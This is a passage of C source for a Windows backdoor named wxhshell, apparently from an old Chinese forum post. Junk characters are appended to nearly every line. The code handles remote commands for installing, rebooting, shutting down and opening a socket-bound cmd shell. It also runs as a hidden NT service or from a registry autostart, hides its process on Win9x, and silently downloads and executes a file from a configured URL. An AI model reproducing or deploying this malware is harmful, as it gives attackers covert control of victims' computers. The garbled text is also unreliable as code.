  else { Lr^xp,_n  
cjR.9bgn  
    switch(cmd[0]) { PYUY bRn  
  t[maUy _A  
  // 帮助 Q.XsY.{  
  case '?': { JA}'d7yEa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =gn}_sKNE  
    break; 3oKGeB;Ja  
  } I5A^/=bf&  
  // 安装 ]~zJ7I  
  case 'i': { h=tu +pn  
    if(Install()) 16y$;kf8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-T ^ aR  
    else L,Nr,QC-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z|<oxF.  
    break; ]Yu+M3Fq  
    } _HK& KY  
  // 卸载 8?YW i  
  case 'r': { l!  y _P  
    if(Uninstall()) D5>~'N3b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (0Qq rNs  
    else J9FNjM[qe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t/1NTa  
    break; _pGviGR  
    } ,OCTm%6e  
  // 显示 wxhshell 所在路径 aX%Zuyny  
  case 'p': { hN53=X:  
    char svExeFile[MAX_PATH]; hn|E<  
    strcpy(svExeFile,"\n\r"); eh>E).  
      strcat(svExeFile,ExeFile); )r i3ds  
        send(wsh,svExeFile,strlen(svExeFile),0); E, fp=.  
    break; nc~d*K\!  
    } 4sQAR6_SW~  
  // 重启 {?y7'  
  case 'b': { QL2y,?Mz7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B|=maz:_  
    if(Boot(REBOOT)) aTm.10{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); weV#%6=5\  
    else { ewG21 q$  
    closesocket(wsh); \Ji2u GT  
    ExitThread(0); :\J bWj_j  
    } SU'9+=_$  
    break; xUpb1 R  
    } \#jDQ  
  // 关机 /&d`c=nH  
  case 'd': { }?J5!X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RM1uYFs<  
    if(Boot(SHUTDOWN)) CD1=2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _0["J:s9  
    else { /A.i5=k  
    closesocket(wsh); PL$F;d  
    ExitThread(0); UMwMXmZNJ  
    } ~ p.W*skD  
    break; P i!r}m  
    } )hW {>Y3x  
  // 获取shell }.) 43(>]  
  case 's': { %QgAilj,  
    CmdShell(wsh); 2P_^@g  
    closesocket(wsh); $F7gH  
    ExitThread(0); ~&lJT  
    break; "EYj Y->  
  } >Ron+ oe  
  // 退出 r)]CZ])  
  case 'x': { u2B W]T]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,M&0<k\  
    CloseIt(wsh); Ti|++oC/&  
    break; zZc@;S#  
    } Qz(T[H5%W  
  // 离开 qetP93N_*  
  case 'q': { yO;C3q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ENWB|@B  
    closesocket(wsh); wV&f|JO0+  
    WSACleanup(); +7< >x-+  
    exit(1); NND=Z xl  
    break; !K3cf]2UD  
        } N8YBu/  
  } j~S!!Z ]  
  } KBRg95E~]l  
;3}EB cw)  
  // 提示信息 *\:_o5o%[T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eQVPxt2N  
} d3G{0PX  
  } "E|r3cN  
)R)$T'  
  return; 1R%`i '$/  
} W}2 &Pax  
9>&tMq  
// shell模块句柄 vZeYp  
int CmdShell(SOCKET sock) $`5lvy^  
{ I,<54? vS  
STARTUPINFO si; <S8W~ wC  
ZeroMemory(&si,sizeof(si)); o+_/)c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /D$+b9FR<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k?/vy9  
PROCESS_INFORMATION ProcessInfo; \*%i#]wO@  
char cmdline[]="cmd"; :n4:@L<%H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +>:}req  
  return 0; 27],O@ 2?L  
} /1W7<']>xV  
aMvK8C%7  
// 自身启动模式 Dyk[u g5  
int StartFromService(void) y^QYl ZO  
{ 7vpN 6YP  
typedef struct -j`!(IJ  
{ Wbn[Q2h5  
  DWORD ExitStatus; Q P=[ Vw  
  DWORD PebBaseAddress; $JhZ'Z  
  DWORD AffinityMask; k=mT!  
  DWORD BasePriority; uH&,%k9GVK  
  ULONG UniqueProcessId; ('* *nP  
  ULONG InheritedFromUniqueProcessId; !P~ PF:W~|  
}   PROCESS_BASIC_INFORMATION; *pTO|x{  
(}FW])y  
PROCNTQSIP NtQueryInformationProcess; V4eng "  
v*H &F   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :#\B {)(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (' Ko#3b  
`$V[;ld(mz  
  HANDLE             hProcess; du'}+rC  
  PROCESS_BASIC_INFORMATION pbi; :q>oD-b$}  
ikY]8BCc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iRUR4Zs  
  if(NULL == hInst ) return 0; C~KWH@  
5hJYy`h~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @4_rxu&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yC'hwoQ`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V%BJNJ  
5fegWCJ  
  if (!NtQueryInformationProcess) return 0; DN"S,  
(K*/Vp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (~G5t(+  
  if(!hProcess) return 0; "$W|/vD+  
q: TT4MUj<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b =K6IX;  
9iGE`1N%E  
  CloseHandle(hProcess); Ld\LKwo  
5 dfe@$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N[,VSO&  
if(hProcess==NULL) return 0; :kb1}Wu  
8<yV  
HMODULE hMod; X;OsH  
char procName[255]; ]g>m?\'n  
unsigned long cbNeeded; +~w?Xw,  
T2 :oWjC3$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8tLT'2+H#  
{=bg5I0|a  
  CloseHandle(hProcess); ]&C:>  
FDF3zzP0  
if(strstr(procName,"services")) return 1; // 以服务启动 <.r ]dCf  
qe5tcv}u  
  return 0; // 注册表启动 stg30><  
} >'} Y1_S5  
[y|^P\D  
// 主模块 T_@[k  
int StartWxhshell(LPSTR lpCmdLine) p.rdSv(8'  
{ G2CZwm{/f  
  SOCKET wsl; &RK H2R  
BOOL val=TRUE; 5)d,G9  
  int port=0; sf |oNOz  
  struct sockaddr_in door; YN,y0t/cQ  
vzY'+9q1.  
  if(wscfg.ws_autoins) Install(); ]aC ':55(  
%[]"QbF?  
port=atoi(lpCmdLine); oLrkOn/aY  
 xFBh?  
if(port<=0) port=wscfg.ws_port; SON ^CvMs{  
; x:k-s2-  
  WSADATA data; 6R1wn&8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ny12U;'s,  
Sf  024  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eJU;*] xfH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .'t (-eT,  
  door.sin_family = AF_INET; 2BoFyL*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bz, Da  
  door.sin_port = htons(port); O.@g/05C  
,wtFs!8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5^/,aI  
closesocket(wsl); E4sn[DO  
return 1; N]1V1c$G*  
} 1YOg1 n+k  
$}qDV> qo  
  if(listen(wsl,2) == INVALID_SOCKET) { %f3c7\=C  
closesocket(wsl); *QbM*oH  
return 1; Pm$F2YrO3  
} #4vV%S   
  Wxhshell(wsl); `Y\gSUhzS  
  WSACleanup(); yGb a  
F&=I7i  
return 0; ; cGv] A+  
U91 &|  
} k2EHco0BG  
K :1g"  
// 以NT服务方式启动 oM6j>&$b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^cYStMjpy  
{ h&)fu{   
DWORD   status = 0; 3jvx2  
  DWORD   specificError = 0xfffffff; r5t;'eCe a  
_*O7l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3p:=xL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z5((1J9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jCU=+b=  
  serviceStatus.dwWin32ExitCode     = 0; EkN_8(w  
  serviceStatus.dwServiceSpecificExitCode = 0; OENzG~  
  serviceStatus.dwCheckPoint       = 0; Y\.-v\uJu  
  serviceStatus.dwWaitHint       = 0; r?fH &u  
h/,R{A2mO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u@<Pu@?xm  
  if (hServiceStatusHandle==0) return; :lUX5j3  
nN>J*02(  
status = GetLastError(); %b=Y <v  
  if (status!=NO_ERROR) `_|aeoK_  
{ L ;6b+I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hS4.3]ei  
    serviceStatus.dwCheckPoint       = 0; dZPW2yf  
    serviceStatus.dwWaitHint       = 0; x>}B#  
    serviceStatus.dwWin32ExitCode     = status; )VNM/o%Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; lc]V\ 'e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z)}3**3'y  
    return; j7K5SS_]  
  } k/%#>  
59V#FWe-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OkLz^R?d  
  serviceStatus.dwCheckPoint       = 0; r]v&t  
  serviceStatus.dwWaitHint       = 0; &=YSM.G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yl $X3wi  
} m;dm|4L^  
Sa L"!uAk  
// 处理NT服务事件,比如:启动、停止 +}P%HH]E/p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <"<Mbbp  
{ 85'nXYN{d  
switch(fdwControl) Y=r!2u6r~  
{ *RBV'b  
case SERVICE_CONTROL_STOP: (B@X[~  
  serviceStatus.dwWin32ExitCode = 0; )T9;6R$b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bG "H D?A_  
  serviceStatus.dwCheckPoint   = 0; " jT#bIm  
  serviceStatus.dwWaitHint     = 0; 1@xP(XS  
  { Q8p=!K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m# JI!_~!  
  } g6WPPpqus  
  return; X2qv^G,  
case SERVICE_CONTROL_PAUSE: HN{zT&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~8TF*3[}[  
  break; 2Zy_5>~  
case SERVICE_CONTROL_CONTINUE: WJfES2N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *.oKI@  
  break; e9&+vsRmA  
case SERVICE_CONTROL_INTERROGATE: 62Mdm3  
  break; </= CZy5w  
}; 5y]io Jc9-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6O pa{]  
} r088aUO P  
^5>s7SGB"  
// 标准应用程序主函数 $_sYfU9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C}q>YRubZ  
{ .jA\f:u#  
Z^+rQ.%n"&  
// 获取操作系统版本 qe?Qeh(!X  
OsIsNt=GetOsVer(); uMvb-8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g5i#YW  
[]zua14F6  
  // 从命令行安装 8'_ 0g[s  
  if(strpbrk(lpCmdLine,"iI")) Install(); /prYSRn8  
Z0$] tS  
  // 下载执行文件 9t?L\  
if(wscfg.ws_downexe) { Vo\H<_=G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >)NQH9'1  
  WinExec(wscfg.ws_filenam,SW_HIDE); eX"''PA  
} WWNu:,  
?n.)&ZIx0  
if(!OsIsNt) { ?R|th Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 W m . }Zh  
HideProc(); }x:0os  
StartWxhshell(lpCmdLine); =s;M]:  
} 4J5pXlzV  
else FbAW_Am(  
  if(StartFromService()) <C'Z H'p  
  // 以服务方式启动 v`x|]-/M&  
  StartServiceCtrlDispatcher(DispatchTable); g\Ak;03n  
else 9C/MRmv`  
  // 普通方式启动 v>H=,.`0\  
  StartWxhshell(lpCmdLine); D<bI2  
G(/DtY]  
return 0; aE)by-'  
}
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只看该作者 1 发表于: 2006-10-10
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